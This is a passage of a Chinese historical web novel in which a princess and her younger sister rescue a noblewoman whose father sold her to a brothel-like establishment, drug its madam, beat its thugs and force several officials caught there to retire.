“很显然你们现在进入了热恋期,好好享受吧。”燕凌珍观察着他们的姿态,暗暗记住了呈现效果,心满意足的继续朝前走去。 再往里走没几步,就听见了女子的尖叫和哭泣声。 燕凌珍赶紧加快了脚步。 此时屋内。 李呈祥脸上一个鲜红的手掌印子,跌坐在地上,满脸都是泪水,她死死的捂住胸前的衣襟,满眼绝望的看着站在外面的李父。 “父亲,父亲——”她不住的喊道:“求您,求您可怜可怜女儿,带我回家好不好……” 她的身边站着两个粗壮的丫鬟,正用双手挟制着她的胳膊。 李呈祥挣脱不开,只能不断的哀求着李父。 “父亲你这是在逼女儿去死啊……” 李父站在门口的位置,亲眼看到了那粗使丫鬟给了自己嫡长女一巴掌,他刚想要上前,就听见那丫鬟说。 “白纸黑字的李大人都已经签了,您的女儿现在已经跟您没有任何关系了,既然已经没有关系了,那么还请李大人出去的时候关好门,您的那些债,我们家老爷会给您还清的。” 李大人卖出去的步伐,一下子就停住了。 “没有关系是什么意思……不是说只有一夜么?” 那丫鬟冷笑一声:“字是您签的,签之前没有看清楚么?” “那王权分明说的是一晚。”李大人坚信当时虽然喝多了,可还是听得清楚明白,王权说的就是一晚。 “李大人可以去找我们家老爷说个清楚,眼下还请您离开,奴婢们要给姑娘讲讲规矩了。”那粗使丫鬟一点都没有把李大人放在眼里,直接催促着他离开。 李大人几乎是被推出门去的。 “开门啊!你放我女儿出来!” 李呈祥听到父亲的声音,开始用力挣脱:“父亲,父亲救我啊!” 还好,父亲还是想要救她的。 她奋力爬到了门边上。 转瞬间就听见李大人开口道。 “那只是一晚上的价钱,这得按时间长短重新谈价啊,王权这个老王八犊子竟然敢诓骗老夫!” “父……”她原本碰到门边上的手,立刻就僵在了空中。 “姑娘你就死心吧,都到了这里,就不要再对其他人怀有任何的希望了。”那粗使丫鬟意外的开口提醒道。 每天这样的画面都在上演,她们已经看的十分麻木了。 可这天底下谁不是可怜人?谁叫她摊上了那样的父亲呢。 “听说姑娘你之前也是京都的贵女,也是在皇后娘娘和安平郡主身边服侍过的人,应该十分明白,命运这种东西,半点不由人,出嫁前从父,出嫁后从夫,女子,向来做不得自己的主意。” 第二百七十三章 活下去,才能报仇 李呈祥从心底升起来一股子荒芜之感,原本哭的红润的小脸,此刻毫无血色了。 她呆呆的趴在地上,一句话都说不出来。 门外的李大人已经骂骂咧咧的离开,说是要去找王权算账去了。 屋内的两个丫鬟,上前将麻木的李呈祥一把拉了起来。 “姑娘,接下来就让奴婢们伺候你沐浴吧。” 丫鬟的手刚放在李呈祥的衣服上,她就开始疯狂挣扎:“不要,别碰我!” 父亲同意了又如何? 签了字又如何? 不是她心甘情愿的,谁都别想拿她的主意! 这种境地之下,李呈祥竟然从内心升腾起一股子决绝来。 她疯狂挣扎开来,两个丫鬟一时不妨,竟然被她挣脱出去。 李呈祥拉开门就跑了出去,只是一整天没吃饭,怎么跑得过两个有拳脚功夫的丫鬟呢,刚到院子里就被摁住了。 那丫鬟也来了气。 “敬酒不吃吃罚酒。”她上去就给了李呈祥两巴掌,将她的面颊扇的红肿起来。 “不过是看你可怜,劝你两句,你竟然如此不听话,这要是被你喊出声了,惊扰了外面的达官贵人,我们两个可是要掉脑袋的!”丫鬟说着惊魂甫定,用手擦了擦额头上的冷汗。 这一下将她们俩几年的寿命都给吓没了。 李呈祥的嘴被丫鬟用帕子塞满了,双手也被辖制住,只能发出呜呜呜无助的声音。 她满眼都是倔强和不服,像是一头小牛恨不得用命去拼。 她恨自己念及那一点父女之情,跟着李父来到了这里。 恨自己对这个世上还有一丝期待,将自己陷入了这般境地。 三妹妹是个恶人,可是她有句话说对了。 她本就不该信任男子。 哪怕这个人是她的生父! 李呈祥越想越气,奋力挣扎起来。 丫鬟眼看控制不住,只能上去对着她的小腹来了一拳,将李呈祥打的痛苦的呜咽出声。 “姑娘这样,奴婢们可不会手下留情了。”那丫鬟威逼道。 这些年她见惯了不听话的贵女们,可是最后哪个不都是在她们的手段下面变得服服帖帖的? 李呈祥这样的也不是一个两个,最后都只有一个下场。 那就是听话! 丫鬟下手狠,李呈祥从小娇生惯养,根本没有受过这种苦,一拳打的她差点吐出胆汁,整个人都疼的萎靡了。 见她不说话了,丫鬟冷笑一声:“这就对了,听话才能活下去。” 李呈祥满眼都是泪水,交织恨意。 活下去,活下去才能报仇! 她要活下去。 她不想死。 她答应了吴城南要好好的活下去的,她不能死啊。 丫鬟们将李呈祥重新捉进了屋内,关上了门,衣服才脱了一半,突然一个丫鬟惊呼出声。 “你是谁,怎么进来的!” 浴盆的边上的小凳子上,坐着个翘着二郎腿正在吃葡萄的小姑娘。 一双桃花大眼睛,忽闪忽闪的,笑起来还有一对喜人的小虎牙,看起来就十分讨喜。 这么小就已经初见美人模子,长大之后定会倾国倾城。 只是这样的绝色,两个丫鬟却从来没有见过听说过。 此刻又见对方如此淡定的坐在小凳子上。 二人不禁有些警惕起来。 “说话!” 燕凌珍朝地上吐了葡萄籽,小嘴吃的水灵灵的:“你们这儿品控做的不错,每一颗葡萄都很甜,我都试过了。” 一盘子的葡萄,她吃了个大半。 刚才他们出去追人,她就进门了。 李呈祥一看见燕凌珍,双眼立刻放光:“呜呜呜!”燕六小姐,救我! 燕凌珍给了她一个稳得很的眼神,示意她放宽心,今日就是过来救她的。 “小丫头片子真是艺高人胆大,这里可不是闹市,你可别走错了地方。”丫鬟冷笑道。 燕凌珍放下二郎腿,从椅子上起身,拍了拍身上子虚乌有的灰尘:“我当这里是闹市,这里便是闹市,皇宫里我尚且可以来去自如,更何况你这座小破庙,我若是想走,你们谁拦得住?” “好大的口气!”丫鬟看着燕凌珍的盲目自信,都觉得十分可笑。 大腿加起来都没有她胳膊粗的小丫头,竟然敢在她们面前大放厥词。 真不知道是哪家的小丫头,如此天真不谙世事。 “既然你来了,那就见过我们家老爷再说吧,你若是个有本事的,我们家老爷也留不住你。”丫鬟眼中闪过不怀好意的光芒。 王权这里有个不成文的规矩。 不管是姑娘还是丫鬟,只要拉进来王权肯定的人,那么她就能拿着卖身契走人,从此两清。 眼前这个小丫头,模样俊俏,又十分伶俐,气质自然是不用说,比京都不少贵女还要贵气许多。 如果是她的话,说不定能一个人抵两个,换她二人的自由身啊。 这样想着,两个丫鬟对视了一眼,看到了彼此目光中的热切。 燕凌珍不知道她们在打什么主意,但肯定不是好主意。 她轻笑道:“自然是要见王权的,不过不是我去见他,而是你们让他来见姑奶奶我。” 让她去亲自去见王权,真给他脸了。 “你好大的胆子——”其中丫鬟一气愤的说道,不过很快被丫鬟二给拉住了,她摇了摇头,小声说道:“她一个人就能躲过这么多眼线到这里来,肯定是有点本事在身上的,不如你还是去通知一下老爷吧。” 丫鬟一想了一下,觉得她说得对。 只能咽下口中的话,转而说道:“那你就在这里等着,奴婢现在就去喊老爷过来。” “等你哦。”燕凌珍打了个哈欠。 此时屋内只剩下了丫鬟二,她警惕的抓着李呈祥,眼睛一眨不眨的盯着燕凌珍,生怕她有什么动作。 可是燕凌珍就像是绝大多数小孩子一样,在屋内这里翻翻,那里看看,充满了好奇心。 翻到最后,她直接蹿上了软塌:“来的太慢了,我先休息一会儿。” 丫鬟二见她竟然真的闭上眼睛休息,感觉十分不可思议,这心得有多大啊。 李呈祥没有燕凌珍的心胸,她觉得燕六小姐不过还是个孩子,此时竟然出现在这里救自己,都怪她拖累了她。 若是有什么好歹,她都没有脸去面对安平郡主了。 想到这里,李呈祥心理更加内疚了。 整个人的神经都紧绷了起来,生怕身边的丫鬟二会上去对燕凌珍下黑手。 她时刻关注着,心里盘算着,若是待会儿有什么异动,她一定要冲上去用身体挡住这群人,给燕六小姐争取离开的时间! 第二百七十四章 美人,都该进她的小院儿 燕凌珍不知道李呈祥的心理活动。 她确实是小憩了一会儿。 不怪她心大。 浑身上下连头发丝都抹了剧毒,没有解药的人,谁碰谁都活不过一炷香。 所以她压根就不怕自己会被谁怎么样。 …… 此时燕晚清在外面转悠了一圈,一无所获,还一直被那群油腻恶心男找事情,她强忍着没有下手全弄死的冲动,在约定时间回到了假山处,那个小厮还躺在里面,不过小六却不再。 小六一直是个有主意的。 身上带着瓶瓶罐罐的毒药,一手银针用的出神入化,燕晚清根本不担心她的安危。 只是希望她别闹得太大,到时候吸引了京都内一些人的目光,尤其是皇帝的,到时候处理起来会有些棘手。 燕晚清很快便找到了燕凌珍留下来的记号,一路跟着记号在路上发现了倒在灌木丛里的小厮,还有两个瘫在地上表情痛苦的暗卫。 防止有人看见,她将两个人直接打晕随便丢进了一处昏暗的房间里,然后继续朝着记号的地方走去。 …… 燕凌珍睡醒了,那个叫王权的还没有过来。 不过丫鬟喊来了一个看起来十分精明的女人。 年龄三十多,妆容精致,脑袋上别了个大红花,吊梢眉,看起来十分的不好惹。 那女人朝着软塌走了两步,就站住了。 “就是你这个小姑娘要找老爷?” 燕凌珍打了个哈欠,睡眼惺忪:“所以王权人呢?” 丫鬟一看着她:“这是我们夫人,你有事情跟夫人说也是算数的。” “谁说我是来说事情的?”燕凌珍觉得她们好像搞错了:“我看起来这么面善么?没搞错吧,我是来找你们麻烦的!” 难不成以为自己是来送温暖送爱心的吧? 拜托! 都表现的害怕点,她浑身都是毒啊,她是个毒娃娃! 王夫人看着燕凌珍肉乎乎的小脸,小小年纪就已经初见倾国倾城之色,更加喜欢了。 “这小姑娘还挺有个性的是吧。” 这么点儿大,找谁麻烦呢,真有趣啊。 燕凌珍:“……鸡同鸭讲,对牛弹琴!”废话不多说,她想下毒毒哑她们。 眼看着燕凌珍黑了一张小脸,王夫人还在打量着她,忍不住惊叹:“这小模样真是俊俏,哪怕是配皇子也是绰绰有余的啊,日后定能卖出个好价钱。” “卖出个什么好价钱?”清冷的女声从门口传来。 一身蓝色宫裙的女子双手环臂,依靠在门栏上,懒散的问道。 李呈祥一看见她,心瞬间就安稳下来了。 终于,郡主终于来了。 她来救自己了! 燕晚清目光环顾屋子里的人,在李呈祥身上的时候给予了关怀和安抚:“放心。” 李呈祥嘴里堵着帕子,呜咽出声,不住的点头。 “呜呜呜……”有郡主在一切都放心了。 燕晚清对于她来说就是神明一样的存在,每一次自己身处危险的时候,她总是及时出现救自己于危难之中,对于燕晚清,李呈祥心里是极其依赖和信任的。 “怎么不说话了。”燕晚清将目光落在那王夫人身上:“你要将我妹妹卖出什么价钱?” 燕凌珍一听这语气,赶紧将自己往后缩了缩。 得,阿姐生气了。 她得躲远点,免得误伤。 王夫人却在看见燕晚清的瞬间惊为天人:“哎呀呀,你怎么能够长成这样!这是人能长出来的模样吗?” “太美了,实在是太美了!天上的仙女也不过就是这般模样了。” 王夫人目光痴迷的走到了燕晚清的跟前,绕着她转了一圈,仔仔细细的打量了一番。 “乖乖,真是太完美了,这身段,这姿色,这容颜……太完美了。” 王夫人接二连三的发出感叹,眼神中十分炽热。 这要是放在她的小院儿里,直接碾压群芳啊。 可不得馋死那群狗东西! 王夫人双眼放光,恨不得上去直接拉住燕晚清的手,但是碍于燕晚清冷的要冻死人的眼神,她没敢动。 “这位姑娘,你姓氏名谁家住哪里可有婚配家中还有几个人口啊?” 燕晚清居高临下的看她:“想知道?” 自然是想知道的! 王夫人赶紧点头。 这要是好操作的话,她就直接让王权去操作了,不是多么嫌贵的达官贵族,就直接抢过来放在她的小院儿里。 要是多么显贵的,那就只能看看再说了。 眼下还是要知道这女子是哪家的姑娘。 燕晚清没吭声。 半靠在软榻上的燕凌珍憋不住了:“你们还是别知道了,说出来,怕你们兜不住,还是早点喊你们家王权过来吧。” 这越说越跑题。 这个大花竟然还敢肖想上了她的阿姐。 那是她能肖想的么。 笑死。 燕凌珍忍不住翻白眼。 王夫人知道这俩姐妹花不请自来,一定是有所目的的,她沉思一会儿说道:“不如咱们坐下来谈?有事儿咱们好商量。” 说完便使眼色让丫鬟一去沏茶。 “给李家大小姐松绑。”燕凌珍从软榻上跳下来,看着王夫人说道。 王夫人一下子了然,她们俩原来是为了李呈祥。 知道目的,这就好办多了。 王夫人亲自上前给李呈祥松绑:“快些起来,哭的真可怜啊。” 李呈祥一得到自由,立刻将嘴里的帕子扯下来丢在了地上。 然后整个人迅速躲到了燕晚清的身后,双手紧紧地抓着她的衣袖。 “没事,别怕。”燕晚清安抚道,轻轻拍了拍她的手背。 李呈祥点了点头。 “有您在,小女不害怕。” “都站着干什么,快些落座吧。”王夫人喜气洋洋的笑道,此时丫鬟一也沏茶回来了。 燕凌珍一蹦一跳的走到了她身边,闻到茶香之后,唇角勾起一抹古怪的笑意。 这王大花真是敢啊。 在茶水壶里下迷药,真当她红佛手是浪得虚名。 不过这药比市面上常见的迷药要高端些,应该是专门研制出来给这些贵女使用的,中了迷药之后,没有什么副作用。 王大花对于自己小院儿里的姑娘们,还是用了心,舍得下血本的。 燕凌珍的目光和燕晚清对视了一下,当下她便心中了然了。 这茶,是不能喝了。 “说了这么久,都口干舌燥了吧,用些茶水吧。”王夫人吩咐着丫鬟一给众人倒茶。 茶香四溢,很是浓郁。 李呈祥先前哭的撕心裂肺,嗓子早就喊劈叉了。 但是眼下燕晚清和燕凌珍都没有用茶的意思,她便也强忍着。 王夫人见状,率先端起杯子放在了唇边饮了一口:“知道你们谨慎,我先用便是。” 她喝完示意众人自己没事。 燕凌珍用手拖着下巴,这么直勾勾的看着她。 “三、二、一。” 第二百七十五章 我百毒不侵,你们羡慕不来 王夫人一开始不知道这小美人在念什么。 但是等到数字一说出口的瞬间,她感觉自己一阵头晕目眩。 “这,这是怎么回事?” 这迷药的解药她早就服用了啊。 不应该啊。 王夫人感觉不可置信。 燕凌珍弯了弯眉眼,笑嘻嘻的看着王夫人直接趴在了桌子上不省人事。 谁说这是你的迷药? 这是她的迷药! 刚刚丫鬟一沏茶的时候,她就已经将迷药下在了茶水里,料到这个王大花会为了打消她们姐妹二人的的疑心,自己率先服用茶水。 丫鬟们愣住了,上前推了两把王夫人,对方一点动静都没有。 “你把夫人迷晕了!”丫鬟一不敢置信。 “要的就是这种效果。”燕凌珍站起身伸了个懒腰:“早说了,让你把王权找过来,非要这么费劲。” 她实在是有些困倦,忍不住又打了个哈欠:“我呢,现在年纪小,还要长身体不能熬夜,最后再给你一次机会,这回你要是找不到王权,你们俩就和这个王大花一起走吧。” “……走?”丫鬟一觉得这不是什么好的字眼:“是奴婢知道的那种走么?” 燕凌珍看着她双眼泛着清澈又愚蠢的光芒,重重的点了点头,加重语气:“对,就是你们几个都见不到明天的太阳。” 这种解释显然吓破了两个丫鬟的胆子。 她们再也不复刚刚面对李呈祥那般嚣张跋扈,瞬间就跟个小羊羔一样跪在了燕凌珍的面前。 “小小姐,求求你高抬贵手,奴婢们也不过是给他们干活的,您发发善心放过我们姐妹二人吧。” 燕凌珍看着她,一字一句:“我在大润发杀了十年的鱼,我的心已经十分坚硬冰冷了。” “啊?”丫鬟们愣住。 “意思就是求我没用,赶紧去把王权这个老混蛋找过来。”燕凌珍说的口干舌燥,手直接过去端起桌子上的茶水喝掉,然后在丫鬟们目瞪口呆的眼神中坦然:“我百毒不侵,你们羡慕不来。” 这回两个丫鬟都出去找王权了。 燕凌珍重新回到软榻上打盹儿。 小孩子的身体,睡意实在是来的太快了,根本控制不了,说困就困了,不分地界的那种。 燕晚清见她实在是疲惫,摸了摸她的额头,确定没有出汗之后,才在旁边坐下了。 李呈祥不知道什么时候,将王夫人腰间的团扇给解了下来。 “小女来给燕六小姐扇扇子吧,这屋还是有点热的。” 燕晚清见她满眼都是血丝:“不用,你也累了。” 李呈祥却固执的摇头:“要的,小孩子不耐热,现在没出汗,一会儿醒了定是要汗流浃背的,不舒服。” 她说着轻轻的摇着团扇。 果然燕凌珍找了个更加舒服的姿势,沉沉的睡去了。 “这件事情,你打算怎么办?”燕晚清突然开口问道。 李呈祥摇着团扇的手没有停顿,语气十分正常:“以彼之道,还施彼身,哪怕他是我的父亲,也不能作践我的人生。” 生育之恩,她一直都在偿还。 每天起早贪黑的经营铺子赚钱来养一大家子,却谁都不记得她的好。 能赚钱的时候她是个宝贝,赚不到钱的时候就是个垃圾。 生父竟然还能做出比她去卖的举动。 实在是让她寒透了心。 燕晚清点了点头:“既然你心中有了主意,那就按照你的意思去做,来之前还担心你是个心软的,眼下看来,是我多虑了。” “这个世上,怕是只有郡主才会这般不计得失的对小女好了。”李呈祥说着眼圈微微泛红起来。 燕晚清轻笑着上前擦拭她眼角的泪水,打趣:“怎么,你还想以身相许不成。” “若郡主是男儿身,小女哪怕不要这张脸皮,也是要追求郡主的。”李呈祥笑着说道。 有了王夫人迷晕自己的效果,那王权总算是露出了水面。 只不过姗姗来迟,定然是有大动作的。 来的可不只是王权一个人。 他带来了小院儿所有的打手。 “是何人要见老夫啊!”王权站在院子外面冲着里面喊。 听到声音,李呈祥有些紧张。 燕晚清拍了拍她的肩膀:“你在屋内便是。” 她起身抬脚迈着慵懒的步伐朝着门口走去。 打手不少,各个五大三粗的,一看都是练家子。 王权一看见燕晚清,眼睛瞬间一亮。 “哟,真是个天仙美人儿啊。” 他有些责怪的看着丫鬟一:“你要说是个美人,老夫早就来了。” 这长得,真是让人魂牵梦萦。 燕晚清见状,嗤笑一声,红唇讥讽的勾起:“你就是王权?” “正是老夫。”王权虽然垂涎燕晚清的容颜,不过也是个怕死的,在不知道她所有底细之前,他是绝对不会将自己暴露在危险之下的。 真是个怂包。 燕晚清看着躲在人群后方的那个矮胖的身影,眼里都是不屑。 “你这小院儿能开在这里,京都定是有不得了的靠山,你是自己说呢,还是等我加以手段之后说?” 王权一听:“哟呵,你这小妮子语气还真不小,你可知道出入我这小院儿的都是什么达官贵人?随便一个人伸出一根手指都足以摁死你。” “摁死我?”燕晚清来了兴致:“那我还真想知道都有哪些人,伸出根手指头就能摁死我的。” 她水眸里都是阴沉,笑意不达眼底。 王权眼珠子咕溜溜转了一圈,知道不能轻易上当:“你来老夫的小院儿,应该你自报家门才是。” “你这老匹夫,当真是难缠。”燕晚清没了多少耐心;“不说就不说吧,我先送你的夫人下去,再送你下去,结果都是一样为民除害。” 王权一听这话,当下阴了脸。 “老夫见你姿容绝色,耐着性子哄你两句,便真以为自己是个公主了。”他拍了拍手,五大三粗的打手超前逼来,极具压迫感。 王权冷笑道:“给老夫将她拿下,今晚老夫就要先尝尝味道!” 这般美丽的女子,想想就让他浑身颤抖。 此话一出,各位打手们看着燕晚清发出古怪的笑声来。 燕晚清习惯性的舌尖顶了一下小虎牙,粗粝的感觉让她现在整个人的神经都是兴奋的。 “那就要看看你有没有这个本事了。” 她率先出手,根本没有用内力。 直接上去对着一个打手的面部就是一拳,直接将其砸的面部坳陷进去,鲜血瞬间从鼻间涌出,那打手来不及反应,浑身上下只有疼痛一种感觉。 “嘶——”他的手刚摸到鼻子上,下面就狠狠的挨了一脚,登时疼的眼前一黑,差点晕了过去。 这妮子下手真狠啊! 其他几个打手看见了,纷纷觉得某个部位传来异样疼痛。 再次看向燕晚清的目光中,带上了谨慎。 “过来啊。”燕晚清嚣张的朝着他们勾了勾手指。 在这个小院儿里转来转去的怒火,再加上这几日在宫里进出当孙子的压抑,早就在她的心中积攒很久了,此时有这么好一个发泄的机会,她自然是要珍惜。 她就是不用内力,就是要拳拳见血! 第二百七十六章 今晚的人,一个都逃不掉 王权引以为傲的打手们,最多的也不过是在燕晚清的手里走了两招,就彻底倒在地上动弹不得了。 各个疼的跟死了娘一样。 王权黑了脸:“你们这群没用的东西,连个小姑娘都收拾不了,真是白花这么多银子来养你们了!” 王权越想越生气,让剩下的打手赶紧将那几个人拖回了队伍,还不忘再骂上一句:“丢人现眼!” 在他这种不懂武的人眼里,几个彪形大汉分明是可以碾压十几个燕晚清这样纤细的姑娘的,怎么可能被一个小姑娘打的哇哇乱叫喊娘呢? 这不合理。 王权第一时间就觉得自己这个钱花的不是很值。 他十分后悔养了这几个已经被他归为“酒囊饭袋”一栏里的几个人了。 那几个人苦不堪言,身上的疼痛难忍就算了,眼下还被老板觉得拿钱干不了事不顶用,别提有多么难受了。 “你就这么点手段了是吧?”燕晚清轻蔑一笑。 王权的脸色更黑了。 燕晚清可不管他心情如何,自己将这几日的怒气发泄了出去,心情舒畅的很。 “好吧,接下来就让我来看看,今夜究竟有多少达官贵人光临你的小院儿。”燕晚清打累了,她抬手拍了拍。 王权警惕的看着她。 她要干什么?! 只见暗处突然走出来一男一女,男的手里还拖拽着一个椅子,他将椅子放在了台阶上。 燕晚清走上台阶,坐在了椅子上。 否极和红雾,一左一右站在她的身后。 此时王权心中隐隐有些不安起来。 外面传来一阵骚动,证实了他的这种不安。 “你们放开!老夫乃朝廷命官,当心你的狗命!” “你再碰一下老子,老子弄死你信不信!” …… 此起彼伏的叫嚣声,王权的面色更黑了,此时看向燕晚清的目光恨不得直接弄死她。 搞这一出,得罪了这些大人,往后他的小院儿还怎么混下去! 很快五个衣衫不整的官员就被暗卫抓着后劲送到了燕晚清的跟前。 “哟,这不是秦大人么,还有王大人,哎呦呦京兆尹的孙大人,李大人还有周大人,真是巧啊,还能在这里遇见诸位。”燕晚清皮笑肉不笑的看着那五位大人说道。 “大胆——!”诸位大人还没有开口,王权第一个冲到了前面,用手指着燕晚清的破口大骂:“你这个小贱蹄子,你是个什么身份,竟然敢对着诸位大人这般说话,信不信我弄死你啊!” “你他码的闭嘴!”京兆伊的孙大人抬手对着王权的后脑勺就是一巴掌。 王权不明所以:“孙大人您为什么打小人啊!” 几位大人在看见燕晚清的那一刻起,就面色如土了。 谁能想到出来偷个乐子,竟然能看见安平郡主。 今日出门没看黄历,实在是晦气的很。 “这可是圣上亲封的安平郡主,刚刚西征的燕帅,你瞎了你的狗眼了,胆敢用这种语气对着郡主说话!”孙大人对着王权骂道。 王权被吐沫星子喷了一脸,来不及擦拭:“什么?安平……安平郡主?” 安平郡主是怎么到他的小院儿的? 王权感觉自己的天好像要塌了。 孙大人谄媚的露出一个笑容:“郡主您大人有大量,不要跟这种小喽啰计较,今晚这件事情可大可小,只要您不说话,咱们日后有什么吩咐,诸位定是能够竭尽所能啊。” 燕晚清用手撑在椅子上,手背托着香腮。 “本郡主若是沦落到需要你们几个帮忙,那还在京城混个什么劲儿。”言下之意便是你们几个根本就是上不得台面。 五个大人的脸色瞬间有些不好看。 燕晚清可不管这些:“不过是几个靠着裙带关系上来的,还真以为自己就能在京都只手遮天了,王权说你们随便出来一个都能用手指头摁死本郡主,不如今晚就让本郡主好好看看,你们是如何发官威的?” 这话一出,五位大人瞬间跪在了地上。 那李大人直接痛哭流涕:“郡主饶命啊,老夫今日是第一次过来,都是这个孙大人骗老夫过来的啊。” 他实在是委屈的很,今日要是不来,就不会出现这档子事情了。 孙大人被咬了一口,也生气了:“分明是你多次哀求于老夫,老夫才答应带你过来见见世面的,你这个人怎么这样!” “老夫怎么样,老夫今日是不是第一次过来,郡主您大可问问这小院儿的管事的,替老夫证明一下清白啊。”李大人双手作揖,大有要燕晚清做主的既视感。 燕晚清见状冷笑:“证明你没点姑娘,还是证明你没有花天酒地?李大人,做人不要又当又立。” 李大人被骂的狗血喷头,羞愧难当。 孙大人虽然解气了,但是这件事情自己也脱不了干系。 而这安平郡主大有捏着这件事情不松手的意思,对于他们而言实在是一个很大的危机,若是闹到了圣上面前,实在是难看的很。 “大家都是在京都定居,郡主还是得饶人处且饶人,念及一下我等和你父亲之间的关系,就当我们几个没有来过吧。”一直没说话的张大人缓缓开口。 其他几个大人纷纷附和。 燕晚清听着他的话,感觉这群人实在是不要脸的很。 “当初我父兄从雁门关回来的时候,本郡主曾经去诸位的府邸拜访,你们又是如何对待本郡主的?现在跟本郡主谈人情,你们几个也配!” “本郡主现在就告诉你们,今天晚上的人,一个都逃不掉,你们做的这些龌龊的事情,每年拿着朝廷的俸禄,圣上有权知道他的臣子都在如何鱼肉百姓!” 这就是不愿意翻篇,要死磕的意思了。 五个大人面面相觑,都从地上爬了起来。 “燕晚清,你初生牛犊不怕虎,是靠着军功在朝廷站稳了脚跟,可是女子终究是女子,目光短浅,我们几个老匹夫虽然不如你父亲出色,但是这么多年在朝中也是积累了不少人脉的,若是真要碰一碰,你也落不到一点好处!” 几个人冷下脸,冲着燕晚清发难。 王权站在旁边胆战心惊。 这神仙打架,他实在是不想掺和进去啊。 “我燕晚清刚好就是个硬骨头,诸位想要碰一碰,那就来试试。”她靠在椅子上,眼神睥睨,居高临下的看着下面的人,目光中都是冷冽,大有山雨欲来风满楼的气势。 第二百七十七章 方圆十里,你跟鬼做邻居 和安平郡主硬碰硬? 五位大人心里都在打退堂鼓。 这可是能亲自去敲登闻鼓,过刀山火海的硬茬啊! “怎么,不敢了?”燕晚清瞧见他们那副模样,冷笑一声。 五位大人面子上过不去,纷纷冷着脸站在了原地。 此时王权脑袋上都是汗珠,显然吓得不轻,不过事情还没有发生到那一步,他还有路可以退,毕竟这小院儿背后的人也是非同小可的大人物。 但是当奴才的是不能给主子惹麻烦的,若是惹了麻烦,奴才的日子可就不好过了。 王权思来想去,还是站了出来。 “各位贵人莫要生气,一切都怪小的有眼不识泰山,对诸位照顾不周。”他看向燕晚清,老泪纵横:“尤其是不知道郡主大大驾光临,有失远迎,郡主恼了尽管责罚小的便是,千万别生气难受了自己。” 真是个奴才标准的话术了。 燕晚清在宫里听了没有上千遍也有几百遍。 她不耐的移开视线:“少给本郡主来这一套,这五位大人逃不了罪责,你王权更是躲不掉,所以不要再浪费口舌了。” 孙大人见她如此油盐不进,冷笑一声:“你可别忘了,那孙家的嫡长子还在老夫手里干活呢,老夫折进去了,他也跑不掉!你别忘了孙贵妃刚刚产子,可受不了这些个风言风语的打扰。” “孙大人这是在威胁本郡主?”燕晚清感觉到稀奇,难不成自己这些年,在京都这群人眼里,她开始修佛了? 谁都能上来挑衅一下自己! “你尽管去,孙鸿煊但凡能受你摆布,本郡主往后都不认他这个表弟。” 孙涟漪在宫内尚且没有一个人能从她手里吃到好果子,这个被她一手培养长大的嫡长子孙鸿煊,就能是个善茬? 孙大人真是太把自己当回事了! 孙大人感受到燕晚清从骨子里透出来的轻蔑,一口气差点没有顺下去。 旁边的周大人赶紧替他拍着后背:“气大伤身,气大伤身啊,你与她争吵什么!她一张嘴就能说的敌军投降,孙大人你这不是自取其辱么!” 孙大人听完直接眼皮子一翻,晕了过去。 周大人抱着孙大人跌坐在地上,陷入了沉默。 他好像说了什么不该说的话。 “孙大人晕了!”张大人疾呼一声,好像受到了什么打击,也跟着倒在了周大人的脚边上。 剩下两个大人你看我我看你,刚要有多动作,就听见台阶上的燕晚清阴森森的开口。 “尽管晕,不过就是几辆马车的事情,晕了就直接往殿前一扔,反正丢人的又不是本郡主。” 两位大人瞬间站的笔直。 那晕倒在地上的周大人捂着头慢悠悠的坐起来:“哎呀呀,这年纪大了,就容易犯迷糊。” 这晕也不是,不晕也不是。 燕家这个小王八蛋实在是太难缠了。 “燕晚清你就直说吧,到底想要我们几个怎么样!” 燕晚清见他们终于不再威胁这个威胁那个了,愿意正儿八经谈话了,这才开口说道:“本郡主念在你们年事已高,也就不把你们送到大理寺去了,给你们半个月的时间告老还乡,顺便再帮本郡主一点小忙,做个见证。” “什么见证?”几个大人也都是沉浮官场的老狐狸。 他们满脸警惕的看着燕晚清,觉得这个见证肯定没有那么简单。 “这个,你们拿回家抄一下,然后签上字,摁上手印送到郡主府即可。”她招了招手,红昭立刻拿出一叠奏折出来,分发给诸位大人。 几个大人打开一看,文字上叙述着燕家的时代功勋,要求皇帝赐字“忠义”。 看起来并无什么不一样。 但是燕晚清为何要如此大费周折? 几个人有些想不明白。 “这件事情郡主自己去求陛下不就好了么,为何还要我等手抄签字?”事情太简单了,他们几个反而觉得不简单。 燕晚清歪着脑袋想了想:“大概是,本郡主喜欢这种仪式感,满朝文武参与的人越多,父亲他们在天之灵应该会得到慰藉吧。” 这么说也没有什么毛病。 不过一向谨慎的周大人还是看着燕晚清问道:“郡主不会出尔反尔吧?确定只有这一个小忙?” 这么好拿捏他们的机会,燕晚清竟然放弃了,他们觉得不可思议。 “你们要是觉得告老还乡轻了,本郡主现在就通知谢群过来拉你们下大狱。”真是一帮老油条,张口闭口都是在试探,实在是太讨人厌了。 难怪当初萧蘋风不想跟这群士大夫待在一起。 几位大人赶紧摇头:“不用不用,这么晚了,就不要劳烦谢群谢大人了。” 大理寺这么阴森的地方,曹满进去不过三日就自杀了,他们几个一把老骨头,可经不起折腾。 告老还乡挺好的。 早在曹满出事之后,他们便想告老还乡了。 只是一直没有下得了狠心,总觉得自己在京都还能再往上够一够,可事到如今,局面越发混乱,他们早就拿不准官场风云了。 “只是我等离开京城很容易,那我们的那些子子孙孙……”周大人迟疑道。 燕晚清挑眉看他:“周大人这话说的奇怪,本郡主可不是那么不分青红皂白的人,今日小院儿只看见周大人一人,那是你一人的事情,若是今日你周家子孙也在,那就是你们周家人的事情,话说到这个份上了,诸位还有什么要问的么?” “没有了没有了。”这下几个大人彻底放宽了心。 祸不及子孙,那就够了。 几个大人心满意足的在暗卫的协同下离开了。 院子里再次只剩下王权和他的打手们。 “接下来,我们聊聊,这小院儿幕后的主子,如何?”燕晚清噙着一抹轻笑看着王权。 王权脊梁骨上瞬间冒起一串鸡皮疙瘩。 “这小院儿就是小的的,哪里有什么幕后主子,郡主可不要开玩笑哈。”王权盯着燕晚清,企图从她的脸上观察到别的情绪。 燕晚清冲着他挑眉:“不说实话是吧?” 王权一脸老实:“街坊邻居都知道,小的最是诚恳,从来不说谎话的。” 狗屁的街坊邻居。 “这方圆十里都是你的地界,你跟鬼做邻居?”燕晚清没了耐心,拍了拍手:“既然如此,那就给王老爷上点大戏,咱们好好热闹热闹!” 第二百七十八章 真有意思,全是熟人 王权可太害怕燕晚清来这一出了。 “别别别,安平郡主您就绕了小的吧,这一惊一乍的,小的一把老骨头实在是经不起了。”王权直接双膝跪在了地上。 真是造了孽了。 